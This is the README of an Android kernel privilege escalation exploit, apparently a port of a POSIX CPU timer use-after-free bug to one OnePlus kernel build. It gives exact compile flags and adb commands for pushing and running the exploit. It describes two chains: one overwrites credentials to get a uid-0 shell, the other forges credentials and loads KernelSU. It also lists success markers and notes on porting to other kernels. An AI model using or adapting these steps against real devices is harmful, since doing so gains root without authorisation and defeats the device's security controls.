CVE-2026-98260 Timer LPE

CVE-2026-98260 POSIX CPU timer UAF port for 6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k (OnePlus PKX110, SM8650/sun)

Two chains:

• timer：真实 cred 零写 → uid=0、u:r:shell:s0（shell 域 root，bset caps）
• timer fake：fake cred（full caps）→ 安装版 KernelSU libksud.so late-load

Status

路径	结果
real cred 零写 + setuid(0) + exec sh	uid=0、u:r:shell:s0、ROOT_SHELL_OK
fake cred + ksud late-load	安装版 libksud.so（uapi 6）、KSU_LOADED、su 为 u:r:ksu:s0

Environment

• Boot identity: adb/shell (uid 2000, u:r:shell:s0), can read tracefs and /proc/slabinfo
• When the KernelSU manager is installed (me.weishu.kernelsu), fake automatically uses its lib/arm64/libksud.so

Build

NDK 28.2 (aarch64, API 35):

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

Usage

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# Diagnostics
adb shell /data/local/tmp/timer ids     # probe tracefs page event id
adb shell /data/local/tmp/timer leak    # only perform base/cred/task leak, do not trigger UAF

# uid-0 shell（真实 cred）
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # 交互 sh

# KernelSU（fake cred + 安装版 ksud）—— 前台运行，日志实时显示
adb shell /data/local/tmp/timer fake
# 看到 "[!] fake cred page held; reboot to clean" 后即可直接关闭终端
# （park 时已忽略 SIGHUP/SIGINT/SIGTERM，进程继续持有 fake cred 页，不会被 Ctrl-C/断开误杀）

# If logs still need to be kept on the device side (while displaying in real time):
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'

fake success indicators:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live

adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

Safety

• On failure the state will park and hold a zombie; do not kill it, rebooting is the only safe cleanup
• After fake succeeds, the parent process will also park, using a socket to hold the fake cred page
• After triggering the UAF, do not timeout/kill the parked process, otherwise init reclaiming the stale node may panic
• park_forever() ignores SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE, so when running in the foreground you can safely detach with Ctrl-C or by closing the adb terminal; real termination is only possible via SIGKILL (or reboot)
• After a hard reboot, ksu root disappears; using KernelSU to simulate a soft reboot will not cause ksu root to disappear

Directory

timer/timer.c      exploit
timer/timer        static artifact
tools/*.c          port diagnostic source

Targets and Porting

Key constants are hardcoded in timer/timer.c: do_timer_create/copy_process sites, selinux_state, panic_on_warn, copy_process task cache size, init_* symbols

换内核时用设备的 boot.img/BTF/kallsyms 重新推导；tools/ 下的文件用于核对 call site、raw record、timer 泄漏与 8 KiB AF_UNIX 回收通道

References

• woshigenm/CVE-2026-98260 (MIT): trigger, real-cred zero write, fake cred/KSU approach
• ghostlock-app: KernelSU late-load final stage
• Other CVE-2026-98260 porting projects: order-1 reclaim and trigger timing